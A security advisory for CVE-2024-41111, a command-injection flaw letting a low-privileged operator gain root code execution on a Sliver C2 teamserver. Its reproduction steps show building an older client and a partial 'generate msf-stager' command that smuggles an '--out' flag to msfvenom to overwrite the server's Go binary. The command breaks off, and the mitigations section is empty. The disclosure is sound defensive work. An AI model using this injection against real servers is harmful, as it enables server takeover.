Sliver Allows Authenticated Operator-to-Server Remote Code Execution
Date: 2024-07
Affected: go/github.com/bishopfox/sliver
Attack vector: command-injection
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2024-41111
CWE: CWE-74
CWE-78
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

## Description Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. ## Impact As described in a [past issue](https://github.com/BishopFox/sliver/issues/65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. ## Reproduction First configure the Sliver server [in multiplayer mode and add an operator profile](https://sliver.sh/docs?name=Multi-player+Mode). Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags. ``` git checkout 5016fb8d VERSION=1.6.0 make client ``` The latest server version is targeted: ``` All hackers gain exalted [*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba [*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57 [*] Welcome to the sliver shell, please type 'help' for options` ``` The exploit uses a command injection in the `generate msf-stager` to inject the `--out` flag to `msfvenom`. We overwrite Sliver's own go binary at `/root/.sliver/go/bin/go`: ``` sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --adv


Mitigations:

Architectural layers (MAESTRO):